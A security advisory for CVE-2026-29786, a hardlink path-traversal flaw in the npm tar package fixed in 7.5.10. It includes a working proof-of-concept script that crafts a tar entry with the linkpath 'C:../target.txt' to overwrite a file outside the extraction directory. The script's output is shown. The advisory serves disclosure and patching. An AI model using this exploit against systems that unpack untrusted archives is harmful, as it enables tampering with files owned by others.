Advisory

GHSA-qffp-2rhf-9h96

Also known as: CVE-2026-29786

Summary

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Details

Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments *before* stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC
Tested on Arch Linux with [email protected].

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-05 00:52 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

tar

npm · All systems

Affected

  • introduced 0, fixed 7.5.10 (semver)

Fixed versions

7.5.10

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences